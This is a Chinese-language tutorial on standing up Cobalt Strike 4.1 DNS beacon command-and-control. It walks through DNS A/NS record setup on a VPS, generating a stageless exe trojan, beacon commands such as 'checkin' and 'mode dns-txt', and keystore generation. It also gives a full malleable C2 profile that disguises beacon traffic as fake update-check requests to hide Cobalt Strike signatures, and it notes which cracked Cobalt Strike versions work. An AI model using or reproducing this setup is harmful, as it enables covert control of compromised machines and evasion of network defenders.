dns beacon上线cobale
环境介绍
cs4.1
vps
域名
1:部署域名解析
首先,用一台公网VPS作为C2(注意:VPS的53端口一定要开),并准备好一个可以配置的域名。然后,去配置域名的记录。首先创建记录A,将自己的域名 www.xxx.com解析到VPS服务器地址。然后,创建NS记录,将 ns1.xxx.com 指向 www.xxx.com
- 第一条A类解析是在告诉域名系统,www.xxx.com 的IP地址是 xx.xx.xx.xx
- 第二条NS解析是在告诉域名系统,想要知道 ns1.xxx.com 的IP地址,就去问 www.hack.com 。
为什么要设置NS类型的记录呢?因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的。
如何验证域名解析设置是否成功?
ping一下域名显示为vps的IP 就欧克了
然后在我们的VPS上执行以下命令监听UDP53端口
tcpdump -n -i eth0 udp dst port 53
在任意一台机器上执行 nslookup ns1.xxx.com 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功
nslookup ns1.xxx.com
返回0.0.0.0,成功
2. CS开启监听DNS Beacon
3:生成DNS木马
生成一个exe马,选择stageless的那个,原因是,这是个完整的马,选另一个的话,被控机器和CS服务器之间要磨磨唧唧下载完stage数据,才会开始上线通信,这个过程太慢了。
上线了一个黑框
只需要右键选择进入beacon,然后输入chekin,等一会儿,黑框就变蓝了,之后就能正常交互了
checkin #强制回连
mode dns-txt #使用dns TXT记录的数据通道
除了mode dns-txt 外还可以使用mode dns 使用dns A记录的数据通道(ipv4)和mode dns6 使用dns AAAA记录的数据通道(ipv6)。
排坑指南
因为本人再操作过程中遇到了很多问题,然后也在网上收集了一些问题,自己也摸索了很久。如果经过以上操作,没用上线cs,可以看一下是否有一下问题。
53端口的占用
我的云vps是ubuntu,执行netsta命令的时候会看到一个服务占用了53端口,这个服务是systemd-resolved
如果不关闭这个服务,设置DNS监听器时很明显是有error的,其实就是端口冲突了
systemctl stop systemd-resolved
如果不关闭这个服务,设置DNS监听器时很明显是有error的,其实就是端口冲突了
域名购买平台的选择
域名购买平台的要求在于,能否自由定制NS记录
比如,能否添加一条NS记录,指定ns1.xxx.com指向www.xxx.comwww.xxx.com
我曾经弄过一个免费的域名,买完发现不能自由配置NS记录
最后推荐godaddy
CS版本的选择
经我本人的验证,有些流传的CS4.0破解版在做checkin操作的时候,teamserver服务端不会响应传回启动命令(黑框不会变蓝上线)
所以用的4.1
profile的配置
感谢两位大佬的博客内容:
https://choge.top/2020/08/16/Cobaltstrike%E4%B9%8B%E6%B5%81%E9%87%8F%E9%9A%90%E8%97%8F/
https://www.nctry.com/1655.html
store文件的生成
如图所示,删除服务器端原有的cobaltstrike.store
利用keytool(Keytool是一个java数据证书的管理工具,Keytool将密钥和证书存放在一个称为 keystore 的文件中,即.store后缀文件中)
生成store文件
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname “CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV”
解释一下:
keystore store文件的名字 profile里的keystore要和这里的keystore一致
keypass 证书密码 profile里的password要和这里设置的keypass一致
alias 别名 profile里的alias要和这里的alias一致
dname 证书内容 profile里的https-certificate要和这里一致
storepass store文件的密码 这个被我单独拉出来说,因为这个不是和profile保持一致的,是和teamserver保持一致的
vim teamserver
teamserver默认的store文件密码就是123456,我这里生成的时候就直接设置密码为123456了
修改端口号的话可以起到隐藏CS特征的作用,不过客户端连接服务器端的时候,别忘了把连接的端口号修改一下
profile文件的内容
以下内容保存并命名为命名为cob.profile,上传到服务器端
set sample_name "tryblog POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
set CN "CC";
set O "IBM";
set C "AV";
set L "AD";
set OU "HW";
set ST "AC";
set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
set keystore "cobaltstrike.store";
set password "123456";
set alias "baidu.com";
}
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urltrytryd";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
通过profile启动CS
通过profile启动CS的命令:
./teamserver CS的IP地址 自己设置的密码 ./C2.profile
当然,也可以挂载后台:
当然,也可以挂载后台:
nohup ./teamserver CS的IP地址 自己设置的密码 ./C2.profile &